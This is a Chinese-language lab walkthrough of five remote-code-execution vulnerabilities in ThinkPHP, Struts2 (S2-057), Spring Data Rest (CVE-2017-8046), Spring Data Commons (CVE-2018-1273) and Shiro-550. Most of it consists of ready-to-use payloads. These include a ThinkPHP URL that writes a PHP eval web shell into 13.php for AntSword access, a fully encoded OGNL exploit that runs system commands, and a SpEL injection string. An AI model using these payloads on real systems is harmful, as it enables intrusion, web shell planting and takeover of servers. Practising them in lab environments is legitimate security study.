一、ThinkPHP框架漏洞
1.搭建好环境,进入网站
2.访问index.php
3.在index.php后加?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 可以看到终端的用户名
4.将问号后改成s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 可以看到phpinfo信息
5.获得shell权限 将?后改为s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"<?php%20@eval($_POST[cmd]);?>"%20>>13.php 即可将一句话木马输入到13.php内
6.访问植入的木马,成功证明注入成功
7.使用中国蚁剑,测试连接
二、S2-057远程执行代码漏洞
1.搭建环境,启动后再URL后加 /struts2-showcase 进入
2.在url后加 ${(123+123)}/actionChain1.action 运行后发现两数相加了
3.将上面验证payload的值修改为我们的利用exp
/struts2-showcase/%24%7b%20%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action
三、Spring Data Rest 远程命令执行命令(CVE-2017-8046)
1.搭建环境,启动并在URL后加/customers/1并进行抓包
2.使⽤PATCH请求来修改
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码
3.成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
四、spring 代码执⾏ (CVE-2018-1273)
1.搭建环境进入,并在URL后加/users
2.填写注册信息后抓包
3.加 上 poc 显示500为执行成功
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/zcc")]=&password=&repeatedPassword=
4.进入终端查看 可以看到成功写入
docker exec -it 环境id名 /bin/bash
ls /tmp
五、Shiro rememberMe反序列化漏洞(Shiro-550)
1.搭建环境打开并抓包,在请求包中的cookie字段中添加 rememberMe=123;,看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架
2.利用工具shiro反序列化工具,爆破成功证明漏洞存在
3.在命令执行中输入whoami执行成功